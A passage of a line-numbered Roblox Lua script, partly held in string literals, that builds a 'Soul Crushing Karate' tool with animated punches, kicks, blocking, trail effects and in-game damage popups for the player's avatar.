  1565.  
  1566. end
  1567.  
  1568. function startEff(part)
  1569.  
  1570. effectOn = true
  1571.  
  1572. local lastPoint = part.Position
  1573.  
  1574. coroutine.resume(coroutine.create(function()
  1575.  
  1576. while effectOn do
  1577.  
  1578. wait()
  1579.  
  1580. local mag = (lastPoint - part.Position).magnitude
  1581.  
  1582. local p = Part(Mo, true, false, 0.5, 0.05, "Really black", 0.1, 0.1, mag+0.2, true)
  1583.  
  1584. p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2)
  1585.  
  1586. Instance.new("BlockMesh",p)
  1587.  
  1588. lastPoint = part.Position
  1589.  
  1590. coroutine.resume(coroutine.create(function()
  1591.  
  1592. for x=0.2,1,0.2 do
  1593.  
  1594. wait()
  1595.  
  1596. p.Transparency = x
  1597.  
  1598. end
  1599.  
  1600. p:remove()
  1601.  
  1602. end))
  1603.  
  1604. end
  1605.  
  1606. end))
  1607.  
  1608. end
  1609.  
  1610. function endEff()
  1611.  
  1612. effectOn = false
  1613.  
  1614. end
  1615.  
  1616. function ShowDMG(p, d)
  1617.  
  1618. local mo = Instance.new("Model")
  1619.  
  1620. mo.Name = d
  1621.  
  1622. local pa = Part(mo, false, true, 0.5, 0, "Really red", 0.8, 0.2, 0.8, true)
  1623.  
  1624. pa.CFrame = CFrame.new(p.Position)
  1625.  
  1626. pa.Name = "Head"
  1627.  
  1628. local hah = hc:clone()
  1629.  
  1630. hah.Parent = mo
  1631.  
  1632. local bp = Add.BP(pa)
  1633.  
  1634. bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  1635.  
  1636. bp.position = p.Position + Vector3.new(0, 2.5, 0)
  1637.  
  1638. Add.BG(pa)
  1639.  
  1640. coroutine.resume(coroutine.create(function()
  1641.  
  1642. wait(0.2)
  1643.  
  1644. mo.Parent = workspace
  1645.  
  1646. wait(1.5)
  1647.  
  1648. mo:remove()
  1649.  
  1650. end))
  1651.  
  1652. end
  1653.  
  1654. for i, v in pairs(TBricks) do
  1655.  
  1656. v[1].Touched:connect(function(hit)
  1657.  
  1658. local fig = hit.Parent
  1659.  
  1660. H, T = getHumanoid(fig), fig:findFirstChild("Torso")
  1661.  
  1662. if H ~= nil and T ~= nil and v.hurt and v.able then
  1663.  
  1664. hitsound:play()
  1665.  
  1666. v.able = false
  1667.  
  1668. local d = math.random(dmg[1], dmg[2])
  1669.  
  1670. local hed, ne = getHead(fig, v[1].Position, 2.5)
  1671.  
  1672. if dmg[3] == "RoundHouse" and hed ~= nil then
  1673.  
  1674. d = math.random(dmg[1]*2.4, dmg[2]*2.4)
  1675.  
  1676. coroutine.resume(coroutine.create(function()
  1677.  
  1678. if ne ~= nil then
  1679.  
  1680. for i=0,60,20 do
  1681.  
  1682. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  1683.  
  1684. wait()
  1685.  
  1686. end
  1687.  
  1688. for i=60,0,-20 do
  1689.  
  1690. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  1691.  
  1692. wait()
  1693.  
  1694. end
  1695.  
  1696. ne.C0 = necko
  1697.  
  1698. end
  1699.  
  1700. end))
  1701.  
  1702. end
  1703.  
  1704. H.Health = H.Health - d
  1705.  
  1706. local xd = CFrame.new(v[1].Position, hit.Position)
  1707.  
  1708. hit.Velocity = xd.lookVector * (d*2.3)
  1709.  
  1710. ShowDMG(v[1], d)
  1711.  
  1712. wait(0.34)
  1713.  
  1714. v.able = true
  1715.  
  1716. end
  1717.  
  1718. end)
  1719.  
  1720. end
  1721.  
  1722. Mo.Parent = char
  1723.  
  1724. RAWBattle = nil
  1725.  
  1726. LAWBattle = nil
  1727.  
  1728. function nilparts()
  1729.  
  1730. LAW.Part1 = nil
  1731.  
  1732. RAW.Part1 = nil
  1733.  
  1734. RLW.Part1 = nil
  1735.  
  1736. LLW.Part1 = nil
  1737.  
  1738. LAW.C0 = CFrame.new(0, 0, 0)
  1739.  
  1740. RLW.C0 = CFrame.new(0, 0, 0)
  1741.  
  1742. LLW.C0 = CFrame.new(0, 0, 0)
  1743.  
  1744. RAW.C0 = CFrame.new(0, 0, 0)
  1745.  
  1746. end
  1747.  
  1748. function attach()
  1749.  
  1750. LAW.Part1 = Larm
  1751.  
  1752. RLW.Part1 = Rleg
  1753.  
  1754. LLW.Part1 = Lleg
  1755.  
  1756. RAW.Part1 = Rarm
  1757.  
  1758. LAW.C0 = CFrame.new(0, 0, 0)
  1759.  
  1760. RLW.C0 = CFrame.new(0, 0, 0)
  1761.  
  1762. LLW.C0 = CFrame.new(0, 0, 0)
  1763.  
  1764. RAW.C0 = CFrame.new(0, 0, 0)
  1765.  
  1766. end
  1767.  
  1768. attacks = {
  1769.  
  1770. function(mouse)
  1771.  
  1772. local Orig = torso.CFrame
  1773.  
  1774. local MousePos = mouse.Hit.p
  1775.  
  1776. local bg = Add.BG(torso)
  1777.  
  1778. local bp = Add.BP(torso)
  1779.  
  1780. bp.position = Orig.p
  1781.  
  1782. local CF = ComputePos(Orig.p, MousePos)
  1783.  
  1784. local CF2 = CF
  1785.  
  1786. bg.cframe = CF2
  1787.  
  1788. attach()
  1789.  
  1790. bp.position = CF * CFrame.new(0, 0, -1.5).p
  1791.  
  1792. startEff(TBricks[3][1])
  1793.  
  1794. TBricks[3].hurt = true
  1795.  
  1796. slash:play()
  1797.  
  1798. dmg = dmgs.Kdmg
  1799.  
  1800. for i = 0, 100, 100/4 do
  1801.  
  1802. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  1803.  
  1804. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0)
  1805.  
  1806. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  1807.  
  1808. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  1809.  
  1810. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  1811.  
  1812. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  1813.  
  1814. bg.cframe = CF2
  1815.  
  1816. wait()
  1817.  
  1818. end
  1819.  
  1820. wait(0.1)
  1821.  
  1822. TBricks[3].hurt = false
  1823.  
  1824. for i = 100, 0, -100/5 do
  1825.  
  1826. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  1827.  
  1828. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0)
  1829.  
  1830. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  1831.  
  1832. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  1833.  
  1834. LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  1835.  
  1836. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  1837.  
  1838. bg.cframe = CF2
  1839.  
  1840. wait()
  1841.  
  1842. end
  1843.  
  1844. endEff()
  1845.  
  1846. wait()
  1847.  
  1848. nilparts()
  1849.  
  1850. bg:remove()
  1851.  
  1852. bp:remove()
  1853.  
  1854. neck.C0 = necko
  1855.  
  1856. end,
  1857.  
  1858. function(mouse)
  1859.  
  1860. local Orig = torso.CFrame
  1861.  
  1862. local MousePos = mouse.Hit.p
  1863.  
  1864. local bg = Add.BG(torso)
  1865.  
  1866. local bp = Add.BP(torso)
  1867.  
  1868. bp.position = Orig.p
  1869.  
  1870. local CF = ComputePos(Orig.p, MousePos)
  1871.  
  1872. local CF2 = CF
  1873.  
  1874. bg.cframe = CF2
  1875.  
  1876. attach()
  1877.  
  1878. bp.position = CF * CFrame.new(0, 0, -1.5).p
  1879.  
  1880. TBricks[2].hurt = true
  1881.  
  1882. startEff(TBricks[2][1])
  1883.  
  1884. slash:play()
  1885.  
  1886. dmg = dmgs.Pdmg
  1887.  
  1888. for i = 0, -90, -90/4 do
  1889.  
  1890. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  1891.  
  1892. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  1893.  
  1894. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  1895.  
  1896. RAW.C0 = CFrame.Angles(0, 0, 0)
  1897.  
  1898. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  1899.  
  1900. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0)
  1901.  
  1902. bg.cframe = CF2
  1903.  
  1904. wait()
  1905.  
  1906. end
  1907.  
  1908. wait(0.07)
  1909.  
  1910. TBricks[2].hurt = false
  1911.  
  1912. endEff()
  1913.  
  1914. startEff(TBricks[1][1])
  1915.  
  1916. TBricks[1].hurt = true
  1917.  
  1918. bp.position = CF * CFrame.new(0, 0, -3).p
  1919.  
  1920. slash:play()
  1921.  
  1922. for i = -90, 0, 90/7 do
  1923.  
  1924. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90)))
  1925.  
  1926. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  1927.  
  1928. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  1929.  
  1930. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0)
  1931.  
  1932. bg.cframe = CF2
  1933.  
  1934. wait()
  1935.  
  1936. end
  1937.  
  1938. wait(0.07)
  1939.  
  1940. TBricks[1].hurt = false
  1941.  
  1942. for i = 0, -90, -90/5 do
  1943.  
  1944. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90)))
  1945.  
  1946. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  1947.  
  1948. RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23))
  1949.  
  1950. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23))
  1951.  
  1952. CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0)
  1953.  
  1954. bg.cframe = CF2
  1955.  
  1956. wait()
  1957.  
  1958. end
  1959.  
  1960. endEff()
  1961.  
  1962. wait()
  1963.  
  1964. nilparts()
  1965.  
  1966. bg:remove()
  1967.  
  1968. bp:remove()
  1969.  
  1970. neck.C0 = necko
  1971.  
  1972. end,
  1973.  
  1974. function(mouse)
  1975.  
  1976. local Orig = torso.CFrame
  1977.  
  1978. local MousePos = mouse.Hit.p
  1979.  
  1980. local bg = Add.BG(torso)
  1981.  
  1982. local bp = Add.BP(torso)
  1983.  
  1984. bp.position = Orig.p
  1985.  
  1986. local CF = ComputePos(Orig.p, MousePos)
  1987.  
  1988. local CF2 = CF
  1989.  
  1990. bg.cframe = CF2
  1991.  
  1992. attach()
  1993.  
  1994. bp.position = CF * CFrame.new(0, 0, -1.5).p
  1995.  
  1996. TBricks[4].hurt = true
  1997.  
  1998. startEff(TBricks[4][1])
  1999.  
  2000. slash:play()
  2001.  
  2002. dmg = dmgs.K2dmg
  2003.  
  2004. for i = 0, -100, -100/4 do
  2005.  
  2006. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2007.  
  2008. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  2009.  
  2010. LLW.C0 = CFrame.Angles(0, 0, math.rad(i))
  2011.  
  2012. RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7))
  2013.  
  2014. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  2015.  
  2016. CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0)
  2017.  
  2018. bg.cframe = CF2
  2019.  
  2020. wait()
  2021.  
  2022. end
  2023.  
  2024. wait(0.1)
  2025.  
  2026. bp.position = CF * CFrame.new(0, 0, -3).p
  2027.  
  2028. TBricks[4].hurt = false
  2029.  
  2030. endEff()
  2031.  
  2032. startEff(TBricks[3][1])
  2033.  
  2034. TBricks[3].hurt = true
  2035.  
  2036. local Cobalt11641, hipow12 = RLW.C0, LLW.C0
  2037.  
  2038. slash:play()
  2039.  
  2040. for i = -100, -290, -190/5 do
  2041.  
  2042. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4)))
  2043.  
  2044. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100))
  2045.  
  2046. CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0)
  2047.  
  2048. bg.cframe = CF2
  2049.  
  2050. wait()
  2051.  
  2052. end
  2053.  
  2054. wait(0.1)
  2055.  
  2056. bp.position = CF * CFrame.new(0, 0, -4.5).p
  2057.  
  2058. TBricks[3].hurt = false
  2059.  
  2060. Cobalt11641, hipow12 = RLW.C0, LLW.C0
  2061.  
  2062. for i = 0, -70, -70/3 do
  2063.  
  2064. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100))
  2065.  
  2066. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4))
  2067.  
  2068. LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0)
  2069.  
  2070. RAW.C0 = CFrame.Angles(0, 0, 0)
  2071.  
  2072. LAW.C0 = CFrame.Angles(0, 0, 0)
  2073.  
  2074. CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0)
  2075.  
  2076. bg.cframe = CF2
  2077.  
  2078. wait()
  2079.  
  2080. end
  2081.  
  2082. endEff()
  2083.  
  2084. wait()
  2085.  
  2086. nilparts()
  2087.  
  2088. bg:remove()
  2089.  
  2090. bp:remove()
  2091.  
  2092. neck.C0 = necko
  2093.  
  2094. end,
  2095.  
  2096. function(mouse)
  2097.  
  2098. if mouse ~= nil then
  2099.  
  2100. local Orig = torso.CFrame
  2101.  
  2102. local MousePos = mouse.Hit.p
  2103.  
  2104. local bg = Add.BG(torso)
  2105.  
  2106. local bp = Add.BP(torso)
  2107.  
  2108. bp.position = Orig.p
  2109.  
  2110. local CF = ComputePos(Orig.p, MousePos)
  2111.  
  2112. local CF2 = CF
  2113.  
  2114. bg.cframe = CF2
  2115.  
  2116. startEff(TBricks[3][1])
  2117.  
  2118. attach()
  2119.  
  2120. bp.position = CF * CFrame.new(0, 0, -1).p
  2121.  
  2122. dmg = dmgs.Rdmg
  2123.  
  2124. for i = 0, 180, 180/7 do
  2125.  
  2126. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2))
  2127.  
  2128. RLW.C0 = CFrame.Angles(0, 0, 0)
  2129.  
  2130. LLW.C0 = CFrame.Angles(0, 0, 0)
  2131.  
  2132. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  2133.  
  2134. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  2135.  
  2136. CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0)
  2137.  
  2138. bg.cframe = CF2
  2139.  
  2140. wait()
  2141.  
  2142. end
  2143.  
  2144. slash:play()
  2145.  
  2146. TBricks[3].hurt = true
  2147.  
  2148. for i = 180, 180+90, 90/4 do
  2149.  
  2150. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90))
  2151.  
  2152. RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0)
  2153.  
  2154. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3)))
  2155.  
  2156. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  2157.  
  2158. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  2159.  
  2160. CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0)
  2161.  
  2162. bg.cframe = CF2
  2163.  
  2164. wait()
  2165.  
  2166. end
  2167.  
  2168. TBricks[3].hurt = false
  2169.  
  2170. wait()
  2171.  
  2172. for i = 270, 360, 90/5 do
  2173.  
  2174. local a = i-270
  2175.  
  2176. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i))
  2177.  
  2178. RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0)
  2179.  
  2180. LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3)))
  2181.  
  2182. RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10)))
  2183.  
  2184. LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10)))
  2185.  
  2186. CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0)
  2187.  
  2188. bg.cframe = CF2
  2189.  
  2190. wait()
  2191.  
  2192. end
  2193.  
  2194. endEff()
  2195.  
  2196. wait()
  2197.  
  2198. nilparts()
  2199.  
  2200. bg:remove()
  2201.  
  2202. bp:remove()
  2203.  
  2204. neck.C0 = necko
  2205.  
  2206. end
  2207.  
  2208. end,
  2209.  
  2210. function(mouse)
  2211.  
  2212. local Orig = torso.CFrame
  2213.  
  2214. local MousePos = mouse.Hit.p
  2215.  
  2216. local bg = Add.BG(torso)
  2217.  
  2218. local bp = Add.BP(torso)
  2219.  
  2220. bp.position = Orig.p
  2221.  
  2222. local CF = ComputePos(Orig.p, MousePos)
  2223.  
  2224. local CF2 = CF
  2225.  
  2226. bg.cframe = CF2
  2227.  
  2228. startEff(TBricks[2][1])
  2229.  
  2230. attach()
  2231.  
  2232. bp.position = CF * CFrame.new(0, 0, -0.8).p
  2233.  
  2234. dmg = dmgs.Kardmg
  2235.  
  2236. for i = 0, -45, -45/3 do
  2237.  
  2238. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2239.  
  2240. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  2241.  
  2242. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  2243.  
  2244. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3))
  2245.  
  2246. LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0)
  2247.  
  2248. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  2249.  
  2250. bg.cframe = CF2
  2251.  
  2252. wait()
  2253.  
  2254. end
  2255.  
  2256. TBricks[2].hurt = true
  2257.  
  2258. bp.position = CF * CFrame.new(0, 0, -1.6).p
  2259.  
  2260. slash:play()
  2261.  
  2262. for i = -45, -110, -65/3 do
  2263.  
  2264. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2265.  
  2266. LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110)))
  2267.  
  2268. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  2269.  
  2270. bg.cframe = CF2
  2271.  
  2272. wait()
  2273.  
  2274. end
  2275.  
  2276. wait()
  2277.  
  2278. TBricks[2].hurt = false
  2279.  
  2280. for i = -110, 0, 110/4 do
  2281.  
  2282. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  2283.  
  2284. LAW.C0 = CFrame.Angles(0, 0, math.rad(i) )
  2285.  
  2286. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3))
  2287.  
  2288. RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4)))
  2289.  
  2290. LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4)))
  2291.  
  2292. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  2293.  
  2294. bg.cframe = CF2
  2295.  
  2296. wait()
  2297.  
  2298. end
  2299.  
  2300. endEff()
  2301.  
  2302. wait()
  2303.  
  2304. nilparts()
  2305.  
  2306. bg:remove()
  2307.  
  2308. bp:remove()
  2309.  
  2310. neck.C0 = necko
  2311.  
  2312. end
  2313.  
  2314. }
  2315.  
  2316. bloc = function(mouse)
  2317.  
  2318. local hold = true
  2319.  
  2320. local bg = Add.BG(nil)
  2321.  
  2322. attach()
  2323.  
  2324. RLW.Part1 = nil
  2325.  
  2326. LLW.Part1 = nil
  2327.  
  2328. slash:play()
  2329.  
  2330. local duh = true
  2331.  
  2332. block = true
  2333.  
  2334. mouse.KeyUp:connect(function(k)
  2335.  
  2336. k = k:lower()
  2337.  
  2338. if duh == true and k == "t" then
  2339.  
  2340. block = false
  2341.  
  2342. duh = false
  2343.  
  2344. hold = false
  2345.  
  2346. end
  2347.  
  2348. end)
  2349.  
  2350. coroutine.resume(coroutine.create(function()
  2351.  
  2352. for i = 0, 90, 90/7 do
  2353.  
  2354. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  2355.  
  2356. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  2357.  
  2358. wait()
  2359.  
  2360. end
  2361.  
  2362. end))
  2363.  
  2364. bg.Parent = torso
  2365.  
  2366. while block and hold do
  2367.  
  2368. wait()
  2369.  
  2370. bg.cframe = ComputePos(torso.Position, mouse.Hit.p)
  2371.  
  2372. end
  2373.  
  2374. for i = 90, 0, -90/7 do
  2375.  
  2376. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  2377.  
  2378. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  2379.  
  2380. wait()
  2381.  
  2382. end
  2383.  
  2384. nilparts()
  2385.  
  2386. bg:remove()
  2387.  
  2388. neck.C0 = necko
  2389.  
  2390. end
  2391.  
  2392. function select(mouse)
  2393.  
  2394. mouse.Button1Down:connect(function()
  2395.  
  2396. if able then
  2397.  
  2398. able = false
  2399.  
  2400. attacks[1](mouse)
  2401.  
  2402. attacks[2](mouse)
  2403.  
  2404. attacks[3](mouse)
  2405.  
  2406. attacks[4](mouse)
  2407.  
  2408. attacks[5](mouse)
  2409.  
  2410. able = true
  2411.  
  2412. end
  2413.  
  2414. end)
  2415.  
  2416. mouse.KeyDown:connect(function(key)
  2417.  
  2418. key = key:lower()
  2419.  
  2420. if able then
  2421.  
  2422. if key == "q" then
  2423.  
  2424. able = false
  2425.  
  2426. attacks[2](mouse)
  2427.  
  2428. able = true
  2429.  
  2430. elseif key == "e" then
  2431.  
  2432. able = false
  2433.  
  2434. attacks[1](mouse)
  2435.  
  2436. able = true
  2437.  
  2438. elseif key == "r" then
  2439.  
  2440. able = false
  2441.  
  2442. attacks[3](mouse)
  2443.  
  2444. able = true
  2445.  
  2446. elseif key == "f" then
  2447.  
  2448. able = false
  2449.  
  2450. attacks[4](mouse)
  2451.  
  2452. able = true
  2453.  
  2454. elseif key == "g" then
  2455.  
  2456. able = false
  2457.  
  2458. attacks[5](mouse)
  2459.  
  2460. able = true
  2461.  
  2462. elseif key == "t" then
  2463.  
  2464. able = false
  2465.  
  2466. bloc(mouse)
  2467.  
  2468. able = true
  2469.  
  2470. elseif key == "z" then
  2471.  
  2472. able = false
  2473.  
  2474. holdkey = true
  2475.  
  2476. while holdkey do
  2477.  
  2478. attacks[math.random(1,#attacks)](mouse)
  2479.  
  2480. end
  2481.  
  2482. able = true
  2483.  
  2484. end
  2485.  
  2486. end
  2487.  
  2488. end)
  2489.  
  2490. mouse.KeyUp:connect(function(key)
  2491.  
  2492. key = key:lower()
  2493.  
  2494. if key == "z" then
  2495.  
  2496. holdkey = false
  2497.  
  2498. end
  2499.  
  2500. end)
  2501.  
  2502. end
  2503.  
  2504. if script.Parent.className ~= "HopperBin" then
  2505.  
  2506. h = Instance.new("HopperBin",me.Backpack)
  2507.  
  2508. h.Name = "Soul Crushing Karate"
  2509.  
  2510. script.Parent = h
  2511.  
  2512. end
  2513.  
  2514. bin = script.Parent
  2515.  
  2516. bin.Selected:connect(select)
  2517.  
  2518. end)
  2519. ]]
  2520. Karate = [[
  2521.  
  2522. Plrs = game:GetService("Players")
  2523.  
  2524. me = Plrs.LocalPlayer
  2525.  
  2526. char = me.Character
  2527.  
  2528. Modelname = "SoulKarate"
  2529.  
  2530. dmgs = {Pdmg = {7, 13, "Punch"}, Kdmg = {10, 19, "Kick"}, K2dmg = {12, 16, "Doublekick"}, Rdmg = {16, 23, "RoundHouse"},
  2531.  
  2532. Kardmg = {8, 15, "Karate"}}
  2533.  
  2534. dmg = dmgs.Pdmg
  2535.  
  2536. Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
  2537.  
  2538. necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2539.  
  2540. able = true
  2541.  
  2542. block = false
  2543.  
  2544. breakblock = 19
  2545.  
  2546. holdkey = false
  2547.  
  2548. effectOn = false
  2549.  
  2550. Add = {
  2551.  
  2552. Sphere = function(P)
  2553.  
  2554. local m = Instance.new("SpecialMesh",P)
  2555.  
  2556. m.MeshType = "Sphere"
  2557.  
  2558. return m
  2559.  
  2560. end,
  2561.  
  2562. BF = function(P)
  2563.  
  2564. local bf = Instance.new("BodyForce",P)
  2565.  
  2566. bf.force = Vector3.new(0, P:GetMass()*187, 0)
  2567.  
  2568. return bf
  2569.  
  2570. end,
  2571.  
  2572. BP = function(P)
  2573.  
  2574. local bp = Instance.new("BodyPosition",P)
  2575.  
  2576. bp.maxForce = Vector3.new(math.huge, 0, math.huge)
  2577.  
  2578. bp.P = 14000
  2579.  
  2580. return bp
  2581.  
  2582. end,
  2583.  
  2584. BG = function(P)
  2585.  
  2586. local bg = Instance.new("BodyGyro",P)
  2587.  
  2588. bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  2589.  
  2590. bg.P = 14000
  2591.  
  2592. return bg
  2593.  
  2594. end
  2595.  
  2596. }
  2597.  
  2598. function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
  2599.  
  2600. local p = Instance.new("Part")
  2601.  
  2602. p.formFactor = "Custom"
  2603.  
  2604. p.Anchored = Anchor
  2605.  
  2606. p.CanCollide = Collide
  2607.  
  2608. p.Transparency = Tran
  2609.  
  2610. p.Reflectance = Ref
  2611.  
  2612. p.BrickColor = BrickColor.new(Color)
  2613.  
  2614. for _, Surf in pairs(Surfaces) do
  2615.  
  2616. p[Surf] = "Smooth"
  2617.  
  2618. end
  2619.  
  2620. p.Size = Vector3.new(X, Y, Z)
  2621.  
  2622. if Break then
  2623.  
  2624. p:BreakJoints()
  2625.  
  2626. else p:MakeJoints() end
  2627.  
  2628. p.Parent = Parent
  2629.  
  2630. return p
  2631.  
  2632. end
  2633.  
  2634. function Weld(p0, p1, x, y, z, a, b, c)
  2635.  
  2636. local w = Instance.new("Weld")
  2637.  
  2638. w.Parent = p0
  2639.  
  2640. w.Part0 = p0
  2641.  
  2642. w.Part1 = p1
  2643.  
  2644. w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c)
  2645.  
  2646. return w
  2647.  
  2648. end
  2649.  
  2650. function ComputePos(pos1, pos2)
  2651.  
  2652. local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
  2653.  
  2654. return CFrame.new(pos1, pos3)
  2655.  
  2656. end
  2657.  
  2658. function getHumanoid(c)
  2659.  
  2660. local h = nil
  2661.  
  2662. for i,v in pairs(c:children()) do
  2663.  
  2664. if v:IsA("Humanoid") and c ~= char then
  2665.  
  2666. if v.Health > 0 then
  2667.  
  2668. h = v
  2669.  
  2670. end
  2671.  
  2672. end
  2673.  
  2674. end
  2675.  
  2676. return h
  2677.  
  2678. end
  2679.  
  2680. function getHead(c, pos, m)
  2681.  
  2682. local h = nil
  2683.  
  2684. local n = nil
  2685.  
  2686. t = c:findFirstChild("Torso")
  2687.  
  2688. if t ~= nil then
  2689.  
  2690. n = t:findFirstChild("Neck")
  2691.  
  2692. end
  2693.  
  2694. for i,v in pairs(c:children()) do
  2695.  
  2696. if v.Name == "Head" then
  2697.  
  2698. if (v.Position - pos).magnitude < m then
  2699.  
  2700. h = v
  2701.  
  2702. end
  2703.  
  2704. end
  2705.  
  2706. end
  2707.  
  2708. return h, n
  2709.  
  2710. end
  2711.  
  2712. for i,v in pairs(char:children()) do
  2713.  
  2714. if v.Name == Modelname then
  2715.  
  2716. v:remove()
  2717.  
  2718. end
  2719.  
  2720. end
  2721.  
  2722. torso = char.Torso
  2723.  
  2724. neck = torso.Neck
  2725.  
  2726. hum = char.Humanoid
  2727.  
  2728. Rarm = char["Right Arm"]
  2729.  
  2730. Larm = char["Left Arm"]
  2731.  
  2732. Rleg = char["Right Leg"]
  2733.  
  2734. Lleg = char["Left Leg"]
  2735.  
  2736. LastHP = hum.Health
  2737.  
  2738. function HpChange(newhp)
  2739.  
  2740. if block and hum.Health > 0.1 then
  2741.  
  2742. local dif = LastHP - newhp
  2743.  
  2744. if dif > 0 then
  2745.  
  2746. local h = LastHP - ((LastHP-newhp)/3)
  2747.  
  2748. hum.Health = h
  2749.  
  2750. wait()
  2751.  
  2752. hum.Health = h
  2753.  
  2754. end
  2755.  
  2756. if dif > breakblock then
  2757.  
  2758. block = false
  2759.  
  2760. local a = Add.BP(torso)
  2761.  
  2762. a.position = torso.Position
  2763.  
  2764. local b = Add.BG(torso)
  2765.  
  2766. b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p)
  2767.  
  2768. wait(0.6)
  2769.  
  2770. a:remove()
  2771.  
  2772. b:remove()
  2773.  
  2774. able = true
  2775.  
  2776. end
  2777.  
  2778. end
  2779.  
  2780. LastHP = hum.Health
  2781.  
  2782. end
  2783.  
  2784. hum.HealthChanged:connect(HpChange)
  2785.  
  2786. hc = Instance.new("Humanoid")
  2787.  
